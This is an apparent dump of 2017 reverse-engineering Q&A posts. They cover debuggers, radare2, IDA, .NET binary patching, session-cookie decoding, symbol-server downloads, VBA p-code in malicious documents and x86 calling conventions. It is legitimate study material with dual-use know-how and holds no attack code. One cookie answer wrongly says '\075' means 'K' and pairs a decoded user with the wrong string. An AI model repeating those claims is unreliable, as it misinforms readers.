    The title seems little crazy, but I think that it is possible. Just think about it. If you create text file like this:

    \n\n
    Hello world!\n
    \n\n

    You get this checksum:

    \n\n
    0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8\n
    \n\n

    But if you change any letter like this:

    \n\n
    Hallo world!\n
    \n\n

    You get this:

    \n\n
    bf1adae4567d9fb6b3bfb30cbf4dfdd2503e89a831cf3472c399b39fb9c73289\n
    \n\n

    That means, that if I change any letter I always get another checksum, so there must be any way to get source file back.

    \n\n

    My question is: Is there any way to get source file back without creating all possible combinations and checking checksum?

    \n", "Title": "How to get file back from generated sha256 checksum?", "Tags": "|encryption|hash-functions|", "Answer": "

    No there isn't. The act of hashing and checksumming both lose information in the process. Thus, there can be multiple files that produce the same hash and the same checksum. The only way to know that you have recovered the original file is to compare it with the original file.

    \n" }, { "Id": "15572", "CreationDate": "2017-06-17T07:26:46.740", "Body": "

    I have a 64 bit application that when runs will load a dll (plugin) I want to debug only this plugin, I have tried setting x64dbg to break on dll load, but two issues, this app loads hundreds of other dlls, and when I do get to my dll and try and step through I seem to get stuck in ntdll.dll rather than the one of my interest.

    \n\n

    Is there are a better way of doing this? or any other debugger that is better suited for this job? I do have IDA pro aswell but I am more familiar with the olly/x64 program.

    \n", "Title": "x64dbg how to debug a DLL called from an application", "Tags": "|debugging|", "Answer": "

    I'm going to add my findings as an answer as it turns out its actually very simple in the new debuggers (I don't believe ollyDBG has this function).

    \n\n

    X32DBG and X64DBG can be used with the same process

    \n\n

    1) Open the executable file (exe) in the debugger (depending on whether exe is 32bit or 64 bit choose the right debugger)

    \n\n

    2) select the \"breakpoints\" tab

    \n\n

    3) find the section titled \"dll breakpoints\"

    \n\n

    4) Right click in this section and choose \"add\" type in the name of the dll file. Eg \"module.dll\"

    \n\n

    5) Now run your process, the debugger will break when this dll is loaded

    \n" }, { "Id": "15573", "CreationDate": "2017-06-17T13:06:34.780", "Body": "

    I am new to the world of reverse engineering and have been recommended by a number of people that I should start with IA32 because it is easier to learn the concepts. Aside from differences in the number of registers, what are the key differences between a 32bit system compared to a 64bit system.

    \n", "Title": "Why is using a 32bit system over 64bit recommended for people that are new to reverse engineering?", "Tags": "|x86|x86-64|", "Answer": "

    Short answer : Because it's an easier place to start .X64 allows for an extended instruction set , more access to memory and more allocation space in pretty much everything.

    \n\n

    Long Answer:\nI wouldn't necessarily say that to start using a x86 system is a good way to start . I would say though , that starting with an x86 binary is a good area to start with.

    \n\n

    Historically, going from 8 to 16 to 32 has added more and more instructions with each new addition of an architecture.

    \n\n

    I recommend learning x86 as a start:

    \n\n\n\n

    You'll need to learn x64 anyway as it's the next step in evolution. You'll appreciate it when you run into things with x86. Some things might include the amount of registers that you can use. Another might be instructions that allow you to access certain registers differently or in a more readable way.

    \n\n

    Looks like this might have been answered previously here:\nhttps://stackoverflow.com/questions/7635013/difference-between-x86-x32-and-x64-architectures\nhttps://superuser.com/questions/56540/32-bit-vs-64-bit-systems

    \n\n

    Some other links to read:\nhttp://www.techsupportalert.com/content/32-bit-and-64-bit-explained.htm\nhttps://en.wikipedia.org/wiki/X86-64

    \n" }, { "Id": "15577", "CreationDate": "2017-06-18T00:08:19.093", "Body": "

    I am using a website whose cookies are as following (when I'm as a guest at 3 different instances in increasing order of time) :

    \n\n
      \n
    1. eyJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497742098|514507d23a215fcea83c80608ba67ce4a4946a6e
      2. \n
    2. eyJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497742995|a2d97bc48c9411e7afd09fd554646e1f63c30c54
      3. \n
    3. eyJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497743233|b01171747934f116c7a3af5c1a3bde989f69e03d
      4. \n
    \n\n

    When I logged in from 2 different account it changed to following:

    \n\n
    First account -\"eyJ1c2VyX2lkIjoiMTE1Mjg2ODM5OTMyMzI1ODA5OTg4IiwidXNlcl9uYW1lIjoiU2FtIiwidGFsa19zdGF0ZSI6MH0\\075|1497741945|7a7904970733851fc11eaa5ee456c4ee939f510f\"\n\nSecond account - \"eyJ1c2VyX2lkIjoiMTA3NjYzODAwMzg1MDkxODU5MzAwIiwidXNlcl9uYW1lIjoiQ3JhenlSdWciLCJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497742305|2666b0847f1042c1d40769a19ae11741b82551bb\"\n
    \n\n

    I can't make out anything out of it except the fact that |1497742305| seem to be sort of timestamp. I have tried md5, base64 but neither of the string has any of them.

    \n\n

    What encryption is used ? How can I extract information from it ?\nCan someone help me out , I am new to all this.

    \n", "Title": "Understanding hashing in cookies", "Tags": "|websites|hash-functions|", "Answer": "

    The two vertical bars hints towards 3 separate parts of the cookie. It seems that the first part is a base64 encoded json object. For the first part of the cookie no. 1 that would be:

    \n\n

    eyJ0YWxrX3N0YXRlIjowfQ\\075\\075

    \n\n

    which decoded is:

    \n\n

    {\"talk_state\":0}

    \n\n

    nb: each \"\\075\" is the unicode value for ascii character \"K\".

    \n\n

    Post login, the first part becomes:

    \n\n

    {\"user_id\":\"115286839932325809988\",\"user_name\":\"Sam\",\"talk_state\":0}

    \n\n

    for the base64 string

    \n\n

    eyJ1c2VyX2lkIjoiMTA3NjYzODAwMzg1MDkxODU5MzAwIiwidXNlcl9uYW1lIjoiQ3JhenlSdWciLCJ0YWxrX3N0YXRlIjowfQ\\075\\075

    \n\n

    The second part as you suspected, is a timestamp in epoch date format, where 1497742098 is Mon, 19 Jun 2017 06:16:57 GMT

    \n\n

    The last part, I am not too sure. This could be SHA1 value of some data used as an integrity check server side. You may need to play around with creating different SHA1 values using different combination of data known so far to get a matching value.

    \n" }, { "Id": "15586", "CreationDate": "2017-06-19T07:38:44.447", "Body": "

    After analysing a function and pressing VV to go into graph mode, is it somehow possible to export/render the whole graph to an image?

    \n\n

    I have some huge main functions and it would be nice to have it all in an image.

    \n", "Title": "radare2 ascii graph to image?", "Tags": "|disassembly|radare2|struct|control-flow-graph|visualization|", "Answer": "

    The ag command and subcommands can help you to output the visual graph into Graphviz format.

    \n\n
    [0x00000000]> ag?\nUsage: ag<graphtype><format> [addr]  \nGraph commands:\n| aga[format]             Data references graph\n....\n| agf[format]             Basic blocks function graph\n....\n\nOutput formats:\n| <blank>                 Ascii art\n| *                       r2 commands\n| d                       Graphviz dot\n| g                       Graph Modelling Language (gml)\n| j                       json ('J' for formatted disassembly)\n| k                       SDB key-value\n| t                       Tiny ascii art\n| v                       Interactive ascii art\n| w [path]                Write to path or display graph image (see graph.gv.format and graph.web)\n
    \n\n

    For example, you can output the visual graph as a dot file and then convert it to PNG.\nHere's an example to create an image from the main function of /bin/ls:

    \n\n
    $ r2 /bin/ls\n[0x004049a0]> aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0x004049a0]> agfd main > graph.dot\n[0x004049a0]> !!dot -Tpng -o graph.png graph.dot\n
    \n\n

    The dot utility is part of the Graphviz software which can be installed using sudo apt-get install graphviz.

    \n\n

    You can also output the graph into ascii-graph using the agf command.

    \n\n
    [0x004049a0]> s main\n[0x00402a00]> agf > ascii_graph.txt\n
    \n\n

    Moreover, if you are just searching for a comfort way to view the graph you can simply open the dot file inside Graphviz or use an online Graphviz viewer instead of converting it to an image file.

    \n" }, { "Id": "15603", "CreationDate": "2017-06-19T22:31:04.923", "Body": "

    I have a .net exe called foo.exe I open foo in a hex editor (HxD) and search for myString. I do not see it.

    \n\n

    I open foo.exe in ILSpy and was able to find myString.

    \n\n

    I do see human readable text in the hex editor but I think the .net strings are encoded some other way.

    \n\n

    Some background is we have a client site that switched servers on some 10+ year old code and the server configuration was hard coded. The old server was left online during testing and the issue was not found until 12 hours into production.

    \n", "Title": "Modifying a string in a .net binary", "Tags": "|binary|.net|binary-editing|", "Answer": "

    C# encodes its string literals as UTF-16.\n(http://csharpindepth.com/Articles/General/Strings.aspx)

    \n\n

    To search the hex in HxD you need to check the Unicode string checkbox in HxD and after that you are able to search your string.

    \n\n

    If you are able to then change your string to the correct character without breaking UTF-16 and file size then your new string will be updated.

    \n\n

    well i wrote a similar answer but discarded it and just adding a screen shot that explains your answer better

    \n\n

    \"enter

    \n" }, { "Id": "15609", "CreationDate": "2017-06-20T08:39:35.667", "Body": "

    I am using radare2 in debugging mode (r2 -d ./program).\nI set up a breakpoint at a certain address (db 0x12341234)\nAnd next I have entered Visual View using: V!

    \n

    Following some tutorials, I saw them using 's' to switch to the next instruction, but that isn't working for me.\nAlso this is not working:

    \n
    \n

    Maybe a simpler method to use debugger in radare is to switch it to visual mode. That way you will not have to remember many commands nor to keep program state in your mind. To enter visual mode use V:

    \n
    [0xB7F0C8C0]> V\n
    \n

    The initial view after entering visual mode is a hexdump view of current target program counter (e.g., EIP for x86). Pressing p will allow you to cycle through the rest of visual mode views. You can press p and P to rotate through the most commonly used print modes. Use F7 or s to step into and F8 or S to step over current instruction. With the c key you can toggle the cursor mode to mark a byte range selection (for example, to later overwrite them with nop). You can set breakpoints with F2 key.

    \n
    \n

    Any key I would press does nothing. Am I missing something or?

    \n

    \"\"

    \n

    I am talking about this view.

    \n", "Title": "Visual View in radare2 while debugging", "Tags": "|disassembly|radare2|", "Answer": "

    First of all, make sure you run the latest version of radare2 from git repository:

    \n\n
    $ git clone https://github.com/radare/radare2.git\n$ cd radare2\n$ ./sys/install.sh\n
    \n\n

    If you don\u2019t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the download page at the radare2 website.

    \n\n

    radare2 has several different Visual Views, before I'll explain them - please analyze the program using aa and seek to a function using s <function_name>. You can list the functions recognized by radare2 using afl.

    \n\n\n\n

    In each of the modes mentioned above you can press ? in order to list the commands available. The commands varies between the different modes.

    \n\n

    Pressing s and S inside a Visual view while debugging will step-in and step-over respectively. radare will automatically sync the view with eip on every step.
    \nIn Visual Panels Mode (V!) you can use TAB to navigate between the panels and h/j/k/l to move inside the view/panel.
    \nYou can run r2 commands from inside Visual Mode using : (ie. s 0x00402c1e).

    \n\n

    If it still doesn't work and you believe it's a problem with radare please open an issue and the great contributors of radare2 will be happy to help you.

    \n" }, { "Id": "15612", "CreationDate": "2017-06-20T13:26:19.180", "Body": "

    Can you explain why IDA-Pro is confused with the following simple x86 instruction?

    \n\n
    ...\n.text:0000000000001885   jnz     loc_1AD0\n.text:000000000000188B loc_188B:\n.text:000000000000188B   mov     byte ptr [var+9], 1\n.text:000000000000188B some_func endp ; sp-analysis failed\n.text:000000000000188B\n.text:000000000000188B ; ---------------------------------------------------\n.text:0000000000001890                 db 4Ch\n.text:0000000000001891 ; ---------------------------------------------------\n.text:0000000000001891\n.text:0000000000001891 _debug_info_seg_0:\n.text:0000000000001891   mov     eax, esp\n.text:0000000000001893   cmp     rbx, 20h\n...\n
    \n\n

    This confusion forces me to manually redefine the incorrect data as code, and \nthen to redefine the subroutine in order to fix the miscalculated endp position.

    \n\n
    ...\n.text:0000000000001885   jnz     loc_1AD0\n.text:000000000000188B loc_188B: \n.text:000000000000188B   mov     byte ptr [r14+9], 1\n.text:0000000000001890   mov     rax, r12              <<<FIXED!>>>\n.text:0000000000001893   cmp     rbx, 20h\n.text:0000000000001897   jb      loc_1A80e\n...\n
    \n\n

    The issue happens several times with other simple x86-x64 instructions.\nAny idea why? and how to automatically correct those?

    \n", "Title": "Why do simple x86 instructions confuses IDA Pro", "Tags": "|ida|disassembly|", "Answer": "

    IDA's autoanalyzer considers user-defined names to be strong indicators of code or data item starts. Since you have the _debug_info_seg_0 symbol in the middle of the would-be instruction, IDA stopped disassembly instead of removing the symbol. You could write a script to remove such hindering symbols and recreate the instructions.

    \n" }, { "Id": "15626", "CreationDate": "2017-06-22T10:49:47.373", "Body": "

    Let's suppose that I have an APK file. I decompiled it but I have very obfuscated code. Is it possible to analize this APK in such way that application will be executed step by step (instruction after instruction with breakpoints between each instructions) and the debugger will show me equivalent of compiled instruction in my obfuscated source code that I will able to deobfuscate it (give methods correct names for example) on my own?

    \n", "Title": "Decompiling and deobfuscating APK file", "Tags": "|debugging|decompilation|deobfuscation|", "Answer": "

    Yes, this is indeed possible.

    \n\n

    IDA Pro, starting from version 6.6 supports source code level debugging for Dalvik Bytecode.

    \n\n

    You can find more details here: https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf

    \n\n

    Also, you could use dex2jar to get the Java code from the APK. Then you can manually deobfuscate the code by writing short Java Programs which will decode/decrypt/deobfuscate sections of the code.

    \n" }, { "Id": "15627", "CreationDate": "2017-06-22T11:20:51.977", "Body": "

    If I have an executable file (let's say ntoskrnl.exe) I can obtain it's .pdb file from Microsoft. Is it possible to do the reverse? If I have a .pdb can I obtain the .exe? Or the only method is to hope it is somewhere on my symbols server and look it up by pdb signature and/or timedate stamp?

    \n", "Title": "Obtain .exe/.dll/.sys for a given .pdb file", "Tags": "|windows|debugging|debugging-symbols|", "Answer": "

    the binaries (exe , sys , dll ) are fetched from ms symbol servers by their time_date_stamp and size

    \n\n

    the windbg command !chkimg normally fetches the binaries for minidumps and it uses SymFindFileInPath Function

    \n\n

    which takes three ids which are different for pdbs and binaries you may take a look at the Remarks Section Of the function for the id definition

    \n\n

    there is no reverse match afaik ie given a pdb you cant retrieve the timestamp and size of the binary which you would require for a successfull retrieval

    \n\n

    only recourse left is to grep the local drives for similar named binary

    \n\n

    using dumpbin and the windbg package tool dbh.exe

    \n\n

    note there are two pdb in the cache while i have only one binary matching the second pdb in my system note carefully the age is appended to the guid in the srvind output while the age is printed in a seperate line in dump bin out put

    \n\n

    now that you know the file you can fetch a pristine copy if needed from ms symbols server by dumping the time stamp / size and appending them in to a string and calling httpget with useragent as microsoft-symbol-server (or whatever it is now (my memory of the useragent is several years old grab a network packet for a latest user agent string)

    \n\n
    C:\\>dbh srvind e:\\SYMBOLS\\cdfs.pdb\\6FA7C1B9FB96447B8608B2F31CEADB312\\cdfs.pdb\n\ne:\\SYMBOLS\\cdfs.pdb\\6FA7C1B9FB96447B8608B2F31CEADB312\\cdfs.pdb : 6FA7C1B9FB96447\nB8608B2F31CEADB312\n\nC:\\>dbh srvind e:\\SYMBOLS\\cdfs.pdb\\D457507255544405BD9A5C4D3EBCCBAE2\\cdfs.pdb\n\ne:\\SYMBOLS\\cdfs.pdb\\D457507255544405BD9A5C4D3EBCCBAE2\\cdfs.pdb : D45750725554440\n5BD9A5C4D3EBCCBAE2\n\nC:\\>dumpbin /headers \"c:\\Windows\\System32\\drivers\\cdfs.sys\" | grep -i rsds\n    4A5BBF12 cv            21 000028C0     1CC0    Format: RSDS, {D4575072-5554-\n4405-BD9A-5C4D3EBCCBAE}, 2, cdfs.pdb\n
    \n\n

    here is a dumpbin versus actual dump and !itoldyouso output

    \n\n
    C:\\>dumpbin /headers \"c:\\Windows\\System32\\drivers\\cdfs.sys\" | grep -i \"size of i\nmage\"\n           16000 size of image\n\nC:\\>dumpbin /headers \"c:\\Windows\\System32\\drivers\\cdfs.sys\" | grep -i date\n        4A5BBF12 time date stamp Tue Jul 14 04:41:14 2009\n\nC:\\>cdb -z c:\\Windows\\System32\\drivers\\cdfs.sys\n\n\n0:000> !itoldyouso cdfs\n\ncdfs.sys\n    Timestamp: 4A5BBF12\n  SizeOfImage: 16000\n          pdb: cdfs.pdb\n      pdb sig: D4575072-5554-4405-BD9A-5C4D3EBCCBAE\n          age: 2\n\nLoaded pdb is e:\\symbols\\cdfs.pdb\\D457507255544405BD9A5C4D3EBCCBAE2\\cdfs.pdb\n\ncdfs.pdb\n      pdb sig: D4575072-5554-4405-BD9A-5C4D3EBCCBAE\n          age: 2\n\nMATCH: cdfs.pdb and cdfs.sys\n
    \n\n

    here is a network packet header with the latest user agent string for a binary fetch

    \n\n
    {\n\"Host Name\":\"msdl.microsoft.com\",\n\"Method\":\"GET\",\n\"Path\":\"/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_\",\n\"User Agent\":\"Microsoft-Symbol-Server/10.0.0.0\",\n\"Response Code\":\"200\",\n\"Response String\":\"OK\",\n\"Content Type\":\"application/octet-stream\",\n\"Referer\":\"\",\n\"Content Encoding\":\"\",\n\"Transfer Encoding\":\"\",\n\"Server\":\"Microsoft-IIS/8.5\",\n\"Content Length\":\"295985\",\n\"Connection\":\"\",\n\"Cache Control\":\"public\",\n\"Location\":\"\",\n\"Server Time\":\"6/24/2017 4:37:26 PM\",\n\"Expiration Time\":\"\",\n\"Last Modified Time\":\"12/16/2010 8:20:21 AM\",\n\"Cookie\":\"\",\n\"Client Address\":\"xxx.xxx.xx.xx:xxxxx\",\n\"Server Address\":\"204.79.197.219:80\",\n\"Request Time\":\"00:07:23.331\",\n\"Response Time\":\"1444 ms\",\n\"URL\":\"http://msdl.microsoft.com/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_\"\n}\n
    \n\n

    and the timestamp and size details grabbed from list modules output

    \n\n
    0:000> dx -r0 @$lmvmcalc = Debugger.Utility.Control.ExecuteCommand(\"lmvm calc\")\n@$lmvmcalc = Debugger.Utility.Control.ExecuteCommand(\"lmvm calc\")                \n0:000> dx -r0 @$lmvmcalc[8] ; dx -r0 @$lmvmcalc[6]\n@$lmvmcalc[8]    :     ImageSize:        000C0000\n@$lmvmcalc[6]    :     Timestamp:        Sat Nov 20 15:10:45 2010 (4CE7979D)\n
    \n\n

    and a fetch without symsrv.dll using wget and comparing with local file

    \n\n
    C:\\>md testfetchwithwget\n\nC:\\>cd testfetchwithwget\n\nC:\\testfetchwithwget>ls -l\ntotal 0\n
    \n\n

    wgetting with useragent and debug spew on

    \n\n
    C:\\testfetchwithwget>wget -d -c -U=\"Microsoft-Symbol-Server/10.0.0.0\" \"http://msdl.microsoft.com/dow\nnload/symbols/calc.exe/4CE7979Dc0000/calc.ex_\"\nSetting --continue (continue) to 1\nSetting --user-agent (useragent) to =Microsoft-Symbol-Server/10.0.0.0\nDEBUG output created by Wget 1.12.1-dev Mar 04 2010 (mainline-013c8e2f5997) on Windows-MinGW.\n\n--2017-06-24 22:35:20--  http://msdl.microsoft.com/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_\nResolving msdl.microsoft.com... seconds 0.00, 204.79.197.219\nCaching msdl.microsoft.com => 204.79.197.219\nConnecting to msdl.microsoft.com|204.79.197.219|:80... seconds 0.00, connected.\nCreated socket 204.\nReleasing 0x00893e38 (new refcount 1).\n\n---request begin---\nGET /download/symbols/calc.exe/4CE7979Dc0000/calc.ex_ HTTP/1.0\nUser-Agent: =Microsoft-Symbol-Server/10.0.0.0\nAccept: */*\nHost: msdl.microsoft.com\nConnection: Keep-Alive\n\n---request end---\nHTTP request sent, awaiting response...\n---response begin---\nHTTP/1.1 200 OK\nCache-Control: public\nContent-Length: 295985\nContent-Type: application/octet-stream\nLast-Modified: Thu, 16 Dec 2010 08:20:21 GMT\nAccept-Ranges: bytes\nETag: \"7367f914fa9ccb1:0\"\nServer: Microsoft-IIS/8.5\nX-MSEdge-Ref: Ref A: A80831FD9CD34C76B235D9794A671A8B Ref B: BOM02EDGE0109 Ref C: Sat Jun 24 10:05:3\n3 2017 PST\nX-MSEdge-Ref-OriginShield: Ref A: 5B1085618AB14BDBA7B8195D249E26E2 Ref B: BOM01EDGE0317 Ref C: Sat J\nun 24 07:42:52 2017 PST\nDate: Sat, 24 Jun 2017 17:05:33 GMT\nConnection: keep-alive\n\n---response end---\n200 OK\nRegistered socket 204 for persistent reuse.\nLength: 295985 (289K) [application/octet-stream]\nSaving to: `calc.ex_'\n\n100%[==========================================================>] 295,985     15.1K/s   in 25s\n\n2017-06-24 22:35:51 (11.3 KB/s) - `calc.ex_' saved [295985/295985]\n
    \n\n

    comparing

    \n\n
    C:\\testfetchwithwget>ls -l\ntotal 292\n-rw-rw-rw-  1 HP 0 295985 2010-12-16 13:50 calc.ex_\n\nC:\\testfetchwithwget>expand -R calc.ex_ calc.exe\nMicrosoft (R) File Expansion Utility  Version 6.1.7600.16385\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nAdding C:\\testfetchwithwget\\calc.exe to Extraction Queue\n\nExpanding Files ....\n\nExpanding Files Complete ...\nCannot expand a file onto itself: calc.exe.\n\n\nC:\\testfetchwithwget>ls -l\ntotal 1052\n-rw-rw-rw-  1 HP 0 295985 2010-12-16 13:50 calc.ex_\n-rwxrwxrwx  1 HP 0 776192 2010-12-15 20:21 calc.exe\n\nC:\\testfetchwithwget>ls -l c:\\Windows\\System32\\calc.exe\n-rwxrwxrwx  2 HP 0 776192 2010-11-20 04:16 c:\\Windows\\System32\\calc.exe\n\nC:\\testfetchwithwget>fc /b  c:\\Windows\\System32\\calc.exe .\\calc.exe\nComparing files C:\\WINDOWS\\SYSTEM32\\calc.exe and .\\CALC.EXE\nFC: no differences encountered\n
    \n" }, { "Id": "15632", "CreationDate": "2017-06-23T02:27:53.850", "Body": "

    In other words, Is it safe to load a malware into IDA Pro on my personal machine? Would IDA Pro run the sample or load it into memory?

    \n", "Title": "Is it safe to load a virus to IDA Pro?", "Tags": "|ida|disassembly|disassemblers|", "Answer": "

    At first, it is always recommended to analyze viruses inside an Isolated environment. So, you could install IDA Pro in a Virtualized Environment such as VMWare Work Station and load the binary in IDA Pro.

    \n\n

    IDA Pro by default will only perform disassembly of the binary. It means, static analysis or in other words, the code of the binary won't be executed.

    \n\n

    However, there are several scenarios to consider while analyzing malicious binaries with IDA Pro:

    \n\n
      \n

    1. The binary could exploit an unknown vulnerability in IDA Pro in such a way that when it is loaded by IDA Pro, the malicious code can execute. I haven't seen such a vulnerability yet however we must consider it while analyzing malicious binaries.

      2. \n

    2. If you are using IDA Pro for debugging the binary, then it means the code will execute and so you should perform the analysis in a virtualized environment.

      3. \n
    \n" }, { "Id": "15639", "CreationDate": "2017-06-23T08:00:45.593", "Body": "

    So, lately I've been working on a project involving malware which gets spread via MS Office documents and, among other things, I need to detect the VBA code in appropriate document streams.

    \n\n

    I've read most parts of the Office VBA File Format Structure, from which it seems to me that the correct way of detecting the beginning of the compressed code is by parsing the dir stream which contains the PROJECTMODULES Record and which contains the MODULEOFFSET Record whose element TextOffset contains the actual offset to the compressed source code inside the appropriate ModuleStream. I've also found a project officeparser which performs the VBA code detection in the following way, but according to the project site on Github, there hasn't been any work on the project in the last few years.

    \n\n

    However, I've also found two other projects that deal with the same problem in a different way and which are more up to date. The projects are oledump and oletools and the way they detect the beginning of the compressed VBA code inside a stream is by searching for the pattern \\x00Attribut and then positioning 3 bytes back from that position. I haven't found any official documentation on this method so what I would like to know is if this method is some heuristic way of searching for the compressed code or am I missing some parts of the documentation?

    \n", "Title": "VBA code detection in MS office documents", "Tags": "|malware|file-format|vba|", "Answer": "

    You should note that the code exists in up to 3 compiled states within the file, with the compressed source code being the source of last resort.

    \n\n

    The VBA engine will prefer the code in execode format (where the file and the current VBA environment are a match), and then the p-code (where the file and VBA environment can match more loosely) and only then the compressed source code.

    \n\n

    It is possible for the p-code to be different to the compressed source code, and where the environment doesn't differ, the source code will be ignored.

    \n\n

    When you open a file containing VBA, the VBE usually decodes the p-code into the source that you see in the visual basic editor.

    \n\n

    A malicious actor can embed source-code that looks benign, but the p-code is malicious.

    \n\n

    See this the pcodedmp project that leverages OLETools, and attempts to decode the p-code.

    \n" }, { "Id": "15643", "CreationDate": "2017-06-23T17:02:14.297", "Body": "

    I want to find an address of a symbol (e.g strcpy) inside a binary using radare2. I tried to use the f command to list all flags which are recognized by r2 but the list is enormous and it's not comfortable to find the address of a specific symbol that way.

    \n\n

    What is the best way, if there's any, to do so.

    \n", "Title": "How to find a symbol in a binary using radare2?", "Tags": "|radare2|", "Answer": "

    The f command is used to list all the flags from the selected flagspace. By default all the available flagspaces are selected. In order to select the 'symbols' flagspace and list only the flags inside it, use:

    \n\n
    [0x004049a0]> fs symbols\n[0x004049a0]> f\n0x00402a00 261 main\n0x004049a0 41 entry0\n0x0061e600 8 obj.__bss_start\n0x00413c8c 9 sym._fini\n0x0061e610 4 obj.optind\n0x004022b8 26 sym._init\n0x0061e620 8 obj.program_invocation_name\n0x0061e600 0 loc.__bss_start\n0x0061f368 0 loc._end\n0x00412960 38 sym._obstack_memory_used\n0x0061e5f8 8 obj.obstack_alloc_failed_handler\n0x00412780 17 sym._obstack_begin\n0x0061e640 8 obj.stderr\n0x004128f0 106 sym._obstack_free\n0x004128c0 48 sym._obstack_allocated_p\n0x0061e618 8 obj.optarg\n0x004127a0 21 sym._obstack_begin_1\n0x004127c0 245 sym._obstack_newchunk\n0x0061e608 8 obj.stdout\n
    \n\n

    However, my preferred way to list all the symbols is to use the i command which actually uses 'rabin2' (man rabin2) to retrieve information about the binary. Use i? to get help about the command.

    \n\n

    In order to list all the symbols run is.\nIf you want to \"grep\" for a specific symbol use radare's internal grep ~:

    \n\n
    [0x004049a0]> is~strcpy\nvaddr=0x004023c0 paddr=0x000023c0 ord=013 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.strcpy\n
    \n\n

    And if you want only the address, use:

    \n\n
    [0x004049a0]> is~strcpy[1]\n0x004023c0\n
    \n\n

    More information about flags and flagspaces can be found here
    \nMore information about symbols can be found here

    \n" }, { "Id": "15644", "CreationDate": "2017-06-23T17:09:29.650", "Body": "

    I am studying some X86 code and I often see calls:

    \n\n
    call sym.imp.printf\ncall sym.imp.scanf\ncall sym.imp.strcmp\ncall sym.imp.__stack_chk_fail\n
    \n\n

    Those examples are the most common calls.\nBut how do they actually work?\nI mean, I know they are system calls, also printf along with scanf, strcmp are C functions. But my question is where do they get the parameters from?

    \n\n

    sym.imp.strcmp: where is it getting strings from to compare?

    \n\n

    Where is the value of scanf saved?

    \n\n

    And also, what does the call sym.imp.__stack_chk_fail does?

    \n", "Title": "How calls work in x86", "Tags": "|assembly|x86|system-call|", "Answer": "

    System calls vs. function calls

    \n
    \n

    I mean, I know they are system calls, also printf along with scanf, strcmp are C functions.

    \n
    \n

    Many C library functions are wrappers around system calls. printf and scanf are are examples of this. However, it should not be assumed that all C library functions execute system calls, as none of the string.h library functions, including strcmp, execute any system calls.

    \n
    \n

    A system call is a controlled entry point into the kernel, allowing a process to request that the kernel perform some action on the process\u2019s behalf. The kernel makes a range of services accessible to programs via the system call application programming interface (API).1

    \n
    \n

    The mechanism by which system calls are made is quite different than by that which function calls are made:

    \n
    \n

    The [C library] wrapper function executes a trap machine instruction (int 0x80), which causes the processor to switch from user mode to kernel mode and execute code pointed to by location 0x80 (128 decimal) of the system\u2019s trap vector.

    \n

    More recent x86-32 architectures implement the sysenter instruction, which provides a faster method of entering kernel mode than the conventional int 0x80 trap instruction. The use of sysenter is supported in the 2.6 kernel and from glibc 2.3.2 onward.1

    \n
    \n

    Here is a visual depiction of the C library function execve being executed, in which execve makes a system call:

    \n

    \"TLPI

    \n

    x86 calling conventions

    \n

    When a function is called, flow of control branches to a different location in memory via the call instruction:

    \n
    \n

    Saves procedure linking information on the stack and branches to the procedure (called procedure) specified with the destination (target) operand. The target operand specifies the address of the first instruction in the called procedure. This operand can be an immediate value, a general purpose register, or a memory location.2

    \n
    \n

    Here is some simple example code:

    \n
    0804841d <main>:\n 804841d:       55                      push   %ebp\n 804841e:       89 e5                   mov    %esp,%ebp\n 8048420:       83 e4 f0                and    $0xfffffff0,%esp\n 8048423:       83 ec 20                sub    $0x20,%esp\n 8048426:       c7 44 24 18 f0 84 04    movl   $0x80484f0,0x18(%esp)\n 804842d:       08 \n 804842e:       c7 44 24 1c 04 00 00    movl   $0x4,0x1c(%esp)\n 8048435:       00 \n 8048436:       8b 44 24 18             mov    0x18(%esp),%eax\n 804843a:       89 44 24 08             mov    %eax,0x8(%esp)         <--- argument 3\n 804843e:       8b 44 24 1c             mov    0x1c(%esp),%eax\n 8048442:       89 44 24 04             mov    %eax,0x4(%esp)         <--- argument 2\n 8048446:       c7 04 24 0a 85 04 08    movl   $0x804850a,(%esp)      <--- argument 1\n 804844d:       e8 9e fe ff ff          call   80482f0 <printf@plt>   <--- function call\n 8048452:       b8 00 00 00 00          mov    $0x0,%eax\n 8048457:       c9                      leave  \n 8048458:       c3                      ret\n
    \n

    Here, the memory address that execution branches to when printf is called via call is 0x80482f0.

    \n
    \n

    But my question is where do they get the parameters from?

    \n
    \n

    Arguments are pushed onto the stack in reverse order of their corresponding parameters in the function definition prior to the function call. The return value is saved in %eax. This is in accordance with x86 calling convention, referred to as cdecl:

    \n
    \n

    Caller Rules

    \n

    To make a subrouting call, the caller should:

    \n
      \n

    1. Before calling a subroutine, the caller should save the contents of certain registers that are designated caller-saved. The caller-saved registers are EAX, ECX, EDX. Since the called subroutine is allowed to modify these registers, if the caller relies on their values after the subroutine returns, the caller must push the values in these registers onto the stack (so they can be restore after the subroutine returns.

      \n
      2. \n

    2. To pass arguments to the subroutine, push them onto the stack before the call. The arguments should be pushed in inverted order (i.e. last argument first). Since the stack grows down, the first arguments will be stored at the lowest address (this inversion of arguments was historically used to allow functions to be passed a variable number of parameters).

      \n
      3. \n

    3. To call the subroutine, use the call instruction. This instruction places the return address on top of the arguments on the stack, and branches to the subroutine code. This invokes the subroutine, which should follow the callee rules below.

      \n
      4. \n
    \n

    After the subroutine returns (immediately following the call instruction), the caller can expect to find the return value of the subroutine in the register EAX. To restore the machine state, the caller should:

    \n
      \n
    1. Remove the arguments from stack. This restores the stack to its state before the call was performed.
      2. \n
    2. Restore the contents of caller-saved registers (EAX, ECX, EDX) by popping them off of the stack. The caller can assume that no other registers were modified by the subroutine. 3
      3. \n
    \n
    \n

    For a more in-depth discussion of x86 calling conventions, refer to the x86 ABI documentation found in the System V Application Binary Interface Intel386 Architecture Processor Supplment, Fourth Edition.

    \n

    __stack_chk_fail and stack guards

    \n
    \n

    And also, what does the call sym.imp.__stack_chk_fail does?

    \n
    \n

    __stack_chk_fail is called when the stack canary has been overwritten due to a buffer overflow:

